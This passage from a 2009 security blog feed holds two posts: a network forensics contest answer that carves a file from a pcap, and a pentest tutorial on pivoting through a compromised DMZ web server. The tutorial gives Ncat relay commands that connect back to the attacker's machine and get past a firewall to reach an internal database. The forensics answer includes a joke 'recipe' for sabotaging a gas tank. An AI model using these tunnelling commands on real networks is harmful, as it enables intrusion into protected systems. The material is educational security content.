3. What is the name of the file Ann transferred?<br />
4. What is the magic number of the file you want to extract (first four bytes)?<br />
5. What was the MD5sum of the file?<br />
6. What is the secret recipe?</p>
<p>Here is your <a href="http://philosecurity.org/558/contest_01/evidence.pcap">evidence file</a>:</p>
<p><a href="http://philosecurity.org/558/contest_01/evidence.pcap">http://philosecurity.org/558/contest_01/evidence.pcap</a><br />
MD5 (evidence.pcap) = d187d77e18c84f6d72f5845edca833f5</p>
<p><span style="font-size: large;">The MOST ELEGANT solution wins.</span> In the event of a tie, the entry submitted first will receive the prize. Scripting is always encouraged. All responses should be submitted as plain text files.</p>
<p>Exceptional solutions may be incorporated into the SANS Network Forensics Toolkit. Authors agree that their code submissions will be freely published under the GPL license, in order to further the state of network forensics knowledge. Exceptional submissions may also be used as examples and tools in the Network Forensics class. All authors will receive full credit for their work.</p></div>
</blockquote>
<p>And here is my Answer:</p>
<blockquote><p>Answers to the forensics challenge:</p>
<p>1. Sec558user1<br />
2. “Here&#8217;s the secret recipe&#8230; I just downloaded it from the file server. Just copy to a thumb drive and you&#8217;re good to go &gt;:-)”<br />
3. recipe.docx<br />
4. 50 4B 03 04<br />
5. 8350582774e1d4dbe1d61d64c89e0ea1<br />
6.     Recipe for Disaster:<br />
1 serving<br />
Ingredients:<br />
4 cups sugar<br />
2 cups water<br />
In a medium saucepan, bring the water to a boil. Add sugar. Stir gently over low heat until sugar is fully dissolved.<br />
Remove  the  saucepan from heat.  Allow to cool completely. Pour into gas tank. Repeat as necessary.</p>
<p>Steps I took to complete this challenge:</p>
<p>I opened the pcap file with Wireshark. At frame 23, we see a packet from an already established conversation from Ann’s computer to an IM server.<br />
At frame 25, we see the first plan text message sent to user “Sec558user1” from Ann’s IP containing the text: “Here&#8217;s the secret recipe&#8230; I just downloaded it from the file server.<br />
Just copy to a thumb drive and you&#8217;re good to go &gt;:-)” In a new conversation (frame 109), we see at frame 112, the strings “OFT2” and “Cool Filexfer.”<br />
These strings are indicative of the common protocols used to transfer files among chat clients.<br />
In the same frame we also see the file name of the transferred file: “recipe.docx.”<br />
I used the “Follow TCP Stream” feature in Wireshark to display the payload data from the conversation.<br />
I then isolated just one part of the conversation by choosing 192.168.1.158:5109 -&gt; 192.168.1.159:1272.<br />
I chose to view as raw data and saved the output as recipe.docx.</p>
<p>In order to carve the actual file from the output raw data, I researched the file signatures for docx files (www.garykessler.net/library/file_sigs.html) to find the file header and footer.<br />
The file header for docx filetypes is “50 4B 03 04 14 00 06 00.” I opened the recipe.docx file with XVI32 and searched for that string.<br />
After locating it, I deleted all bytes before the “50 4B…” Then I searched for the footer which was “50 4B + 17 characters + 00 00 00.”<br />
It happened to be at the end of the file, so no trimming had to be done to the end of the file.<br />
I saved the file over the existing recipe.docx file, and performed an md5sum on it resulting in a hash value of “8350582774e1d4dbe1d61d64c89e0ea1.”<br />
Finally, I opened the file with word to reveal the secret recipe.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.omgsecurity.com/2009/09/network-forensics-puzzle-contest/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ncat &#8211; Bypassing the Firewall</title>
		<link>http://www.omgsecurity.com/2009/08/ncat-bypassing-the-firewall/</link>
		<comments>http://www.omgsecurity.com/2009/08/ncat-bypassing-the-firewall/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 13:08:23 +0000</pubDate>
		<dc:creator>chris</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[Ncat]]></category>
		<category><![CDATA[pentest]]></category>

		<guid isPermaLink="false">http://www.omgsecurity.com/?p=92</guid>
		<description><![CDATA[
In the above diagram, I have illustrated a common DMZ setup with one web server in the DMZ and one internal MySQL database server on the protected network. We will say for arguments sake that the Web Server is running a vulnerable version of IIS. Our goal is to access the internal database sever from [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.omgsecurity.com/wp-content/uploads/2009/08/diag.png" target="_blank"><img class="aligncenter size-medium wp-image-91" title="diag" src="http://www.omgsecurity.com/wp-content/uploads/2009/08/diag-300x228.png" alt="diag" width="300" height="228" /></a></p>
<p>In the above diagram, I have illustrated a common DMZ setup with one web server in the DMZ and one internal MySQL database server on the protected network. We will say for arguments sake that the Web Server is running a vulnerable version of IIS. Our goal is to access the internal database sever from where our attacker sits on the network.</p>
<p>To access the Database Server from the attacker&#8217;s box, we will use the DMZ web server as a pivot point. All traffic to and from the victim and attacker will be routed through this host. In order to accomplish this feat, we will use <a href="http://nmap.org/ncat/" target="_blank">Ncat</a>. Ncat is an updated implementation of netcat. An entire book could easily be written describing the tool, so I will just cover the usage that pertains to this illustration.</p>
<p><strong>On the Attacker&#8217;s Machine:</strong></p>
<p>Because the firewall allows inbound connections to the web server on port 80 and also permits any outbound connection from the web server, we can compromise the web server through its vulnerable web service and then do a reverse connection back to our attacking machine. So we will setup a listener with Ncat. However we will do a listener-to-listener relay so that we can communicate through the established connection by connecting to the TCP 3306 listener.</p>
<p><code>ncat -l 1337 -c "ncat -l 3306"</code></p>
<p>-l 1337 : listen on tcp port 1337</p>
<p>-c &#8220;ncat -l 3306&#8243; : spawns a new listener that will send and receive data through a connection on port 1337</p>
<p>Ok, now we have our relay setup and waiting on our attacking machine.</p>
<p><strong>On the Web Server:</strong></p>
<p>Assuming we have installed Ncat on the DMZ web server by exploiting the vulnerable web service, we can now create a client-to-client relay which will make a connection to the listener we just created as well as make a connection to the database server. This link will carry all communication to and from the attacker and database server.</p>
<p><code>ncat 10.1.1.1 1337 -e "ncat 10.3.1.1 3306"</code></p>
<p>-e &#8220;ncat 10.3.1.1 3306&#8243; : the -e executes a command. You&#8217;ll notice on the attacker we used -c. That is because the attacker is running Linux and the -c tells Ncat to execute via /bin/sh.</p>
<p><strong>Back on Attacker&#8217;s Machine:</strong></p>
<p>Ok, now that our link has been established, all that is left is to connect through the listner on the attacker&#8217;s machine listening on port 3306. A command like this:</p>
<p><code>mysql -h 127.0.0.1 -u root -p</code></p>
<p>You will be routed through the Ncat tunnel to the internal database server.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.omgsecurity.com/2009/08/ncat-bypassing-the-firewall/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

